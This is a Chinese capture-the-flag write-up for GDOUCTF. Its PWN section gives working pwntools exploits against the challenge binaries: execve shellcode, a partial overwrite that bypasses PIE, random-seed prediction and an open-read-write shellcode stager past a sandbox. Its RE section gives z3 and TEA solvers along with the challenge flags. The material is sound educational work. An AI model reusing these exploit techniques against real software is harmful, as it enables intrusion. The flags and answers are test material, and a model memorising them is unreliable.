GDOUCTF-WP


[TOC]

PWN

ezshellcode

  • 使用mprotect()函数给bss段赋了rwx权限
  • 限制shellcode长度小于37个字节

使用小于37字节的shellcode即可

exp:

from pwn import *

io = process("./pwn")
#io = remote('node3.anna.nssctf.cn', 28729)
sh  = b"\x48\x31\xd2"
sh += b"\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
sh += b"\x48\xc1\xeb\x08"
sh += b"\x53"
sh += b"\x48\x89\xe7"
sh += b"\x50"
sh += b"\x57"
sh += b"\x48\x89\xe6"
sh += b"\xb0\x3b"
sh += b"\x0f\x05"

io.sendafter(b'Please.\n', sh)
io.sendafter(b'start!\n', b'A'*0xA + b'deedbeef'+ p64(0x6010A0))

io.interactive()

easypwn

  • 存在后门函数
  • 开启了PIE保护

覆盖返回地址的低两个字节为后门函数的低两个字节从而绕过PIE

原理:PIE只会使得低12位随机化

exp1:

from pwn import *

io = process("./easypwn")
#io = remote('node5.anna.nssctf.cn', 28121)

payload = b'A'*0x1F + b'deadbeef' + b'\xD5\x11'

io.sendline(payload)
io.interactive()

官方解:因为最后是否执行后门函数由v5的值确定的,所以我们可以通过溢出覆盖v5的值为1即可;

exp2:

from pwn import *

io = process("./easypwn")
#io = remote('node5.anna.nssctf.cn', 28121)

payload = b'A'*(0x1F-4) + p64(1)

io.sendline(payload)
io.interactive()

120

  • 伪随机数,有三个固定的种子,所以我们每次有三分之一的机会成功
  • 也可以用cdll模拟

exp:

from pwn import *
from ctypes import *

context.log_level = 'debug'
io = process("./bin")
#io = remote('node2.anna.nssctf.cn', 28623)
ans1 = [4,3,2,2,3,3,1,1,2,4,3,4,3,1,2,2,4,2,2,2,4,2,3,2,1,4,3,1,4,2,1,3,4,3,1,2,1,1,2,2,4,4,2,3,4,3,4,4,1,1,1,4,2,3,1,3,2,3,3,2,4,4,4,3,2,4,4,2,4,1,3,4,1,4,2,4,3,1,3,3,1,3,2,3,2,2,1,3,4,3,4,3,2,4,1,3,3,4,4,3,4,3,2,4,2,3,4,4,3,2,2,3,1,3,1,2,4,1,4,3]
ans2 = [1,1,1,3,1,3,4,1,4,4,2,3,3,2,4,2,3,2,4,3,1,4,2,4,3,2,3,1,4,2,4,4,3,4,3,3,2,2,3,2,1,4,4,4,1,3,1,3,1,1,2,1,4,3,1,2,4,3,3,3,1,2,3,3,2,1,1,3,2,4,4,3,3,4,2,4,2,2,2,2,2,3,3,2,1,3,3,1,1,1,3,1,3,1,3,4,1,4,2,3,3,2,1,1,1,2,4,2,3,2,4,1,4,2,2,1,4,4,1,4]
ans3 = [2,3,1,3,2,2,1,3,2,2,4,2,1,4,2,2,3,2,1,3,3,2,4,2,4,2,1,1,3,1,1,1,4,2,3,1,3,4,3,4,1,2,1,1,1,3,2,3,4,3,1,3,4,4,4,3,1,1,4,4,1,4,4,4,1,2,4,3,1,2,3,1,3,3,2,3,1,3,1,1,1,1,3,1,4,2,3,1,2,2,4,3,2,3,2,2,4,2,1,1,3,3,1,2,1,2,4,2,1,1,2,1,1,4,1,1,1,4,1,3]

#cs=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#cs.srand(cs.time(0))
#v = cs.rand()
#cs.srand(v%3-1522127470)

for i in range(len(ans1)):
        print(i+1)
        #io.sendline(str(cs.rand() % 4 + 1))
        io.sendline(str(ans2[i]))
print(io.recv())
io.interactive()

random

  • 开了沙盒,禁掉了execv函数
  • 时间种子产生随机数,有100次机会
  • 保护全关
  • 存在call rsijmp rsp指令

(爆破+)orw

cdll模拟

程序漏洞点:

程序存在栈溢出,但是溢出字节只有 0x40 - 0x20 - 0x8 = 0x18字节,且buf只有 0x28个字节,不足以写下orw;所以我们得想办法把orw写到栈上的某个位置,然后在将程序执行流劫持过去

但是栈地址怎么确定呢?秒,太妙了

在vulnerable函数中,最后调用了read函数,由64位传参可以知道:rsi = buf_addr;并且经过动态调试可以发现,在read函数执行完后,rsi的值并没有改变,依然指向buf开始的地址,而rsi又是read的第二个参数,所以我们只需要让rsi+xx就可以把orw写入栈上了,所以我们根本不用泄漏栈地址

read调用前

read调用后

最终思路如下:

我们将read函数写入buf开始处,然后将返回地址覆盖为call rsi或者利用sub rsp,xx;jmp rsp,所以最后程序会跳到buf处并执行read函数将orw写入栈中某个位置A处,然后在call rsi;(或jmp rsi)将执行流劫持到orw处即A处

当然我们也可也泄漏栈地址:即泄漏寄存器中的栈地址

栈内布局

exp:这个脚本远程call rsi;jmp rsp都可以通;但是本地call rsi通不了,但是使用jmp rsp可以通>_<

from pwn import *
from ctypes import *
context.binary = "./RANDOM"
io = process("./RANDOM")
io = remote("node2.anna.nssctf.cn", 28511)

elf = ELF("./RANDOM")
libc = elf.libc

jmp_rsp = 0x000000000040094e #jmp rsp
call_rsi = 0x0000000000400c23 #call rsi

cs = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
cs.srand(cs.time(0))

#ORW组合,大小为0x50
flag_addr = elf.bss() + 0x200
orw  = asm(shellcraft.open('/flag'))
orw += asm(shellcraft.read('rax', flag_addr, 0x50))
orw += asm(shellcraft.write(1, flag_addr, 0x50))

shellcode = '''
    xor rax, rax
    xor rdi, rdi
    add rsi, 0x100 /*程序执行完自己的read函数后,rsi的值仍然指向buf开始处,所以这里我们给rsi+0x100这个地址还是在栈上*/
    push 0x100
    pop rdx
    syscall
    jmp rsi
'''

#payload = asm(shellcode).ljust(0x28, b'A') + p64(jmp_rsp) + asm('sub rsp,0x30;jmp rsp')
payload = asm(shellcode).ljust(0x28, b'A') + p64(call_rsi)

io.sendlineafter(b'num:\n', str(cs.rand()%50).encode())
io.sendafter(b'door\n', payload)
io.send(orw)
io.interactive()

RE

Check_your_luck

z3求解方程组

from z3 import *

v, w, x, y, z = Ints('v w x y z')
ans = Solver()
ans.add(v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322)
ans.add(v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724)
ans.add(v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529)
ans.add(v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457)
ans.add(v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)

check = ans.check()#4、检测是否有解(有解sat、无解unsat)
print(check)
model = ans.model()#5、取出所有结果,一个ModelRef类,
print(model)

"NSSCTF{4544_123_677_1754_777}"

tea

魔改tea,可以找到key和密文

  • key = [2233, 4455, 6677, 8899]
  • 密文v8:
v8[0] = 0x1A800BDA;
v8[1] = 0xF7A6219B;
v8[2] = 0x491811D8;
v8[3] = 0xF2013328;
v8[4] = 0x156C365B;
v8[5] = 0x3C6EAAD8;
v8[6] = 0x84D4BF28;
v8[7] = 0xF11A7EE7;
v8[8] = 0x3313B252;
v8[9] = 0xDD9FE279;

加密算法如下:注意do_while循环一共执行了33次

将解密后的数据逐字节输出

#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

int sub_140011900(uint32_t *a1, uint32_t *key)
{
	int v3; // [rsp+44h] [rbp+24h]
	int i; // [rsp+64h] [rbp+44h]
	unsigned int v5; // [rsp+84h] [rbp+64h]
	unsigned int v6; // [rsp+C4h] [rbp+A4h]

	for (i = 8; i >= 0; --i)
	{
		v5 = 0;
		v6 = 0xF462900 * (i + 33); //do_while一共执行了33次哦
		v3 = i + 1;
		do
		{
			++v5;
			v6 -= 0xF462900;
			a1[v3] -= (v6 + key[(v6 >> 11) & 3]) ^ (a1[i] + ((a1[i] >> 5) ^ (16 * a1[i])));
			a1[i] -= v6 ^ (a1[v3] + ((a1[v3] >> 5) ^ (16 * a1[v3]))) ^ (v6 + key[v6&3]);
			
			
		} while (v5 <= 0x20);
	}
	return 0;
}

int main() {
	uint32_t key[4] = { 2233, 4455, 6677, 8899 };
	uint32_t v8[10];
	v8[0] = 0x1A800BDA;
	v8[1] = 0xF7A6219B;
	v8[2] = 0x491811D8;
	v8[3] = 0xF2013328;
	v8[4] = 0x156C365B;
	v8[5] = 0x3C6EAAD8;
	v8[6] = 0x84D4BF28;
	v8[7] = 0xF11A7EE7;
	v8[8] = 0x3313B252;
	v8[9] = 0xDD9FE279;
	sub_140011900(v8, key);

	for (int k = 0; k < 10; ++k)
	{
		for (int m = 3; m >= 0; --m)
			printf("%c", (v8[k] >> (8 * m)) & 0xff);
	}
	//HZCTF{hzCtf_94_re666fingcry5641qq}
	return 0;
}

doublegame – 暂时有点没搞懂这个迷宫的逻辑

迷宫题套了个贪吃蛇:flag = HZCTF{md5(path)+score}

找到贪吃蛇分数比较逻辑:score = 13371337

迷宫地图:

000000000000000000000
0 0 0 0     0     0 0
0 0 0 00000 00000 0 0
0 0               0 0
0 000 000 0 000 0 0 0
0 0     0 0 0   0 0 0
0 0 0 00000 000 000 0
0 0 0     0   0 0    
0 000 0 0 000 0 0 0 0
0     0 0 0 0 0 0 0 0
0 00000 000 000 0 0 0
0     0       0   0 0
000 0 0 0 000 0 0 0 0
0 0 0 0 0 0 * 0 0 0 0
0 0000000 0 000 00000
@   0   0 0         0
0 0 0 0 0 00000000000
0 0 0 0             0
000 0 00000 0 000 000
0         0 0   0   0
000000000000000000000
/*dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd*/

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录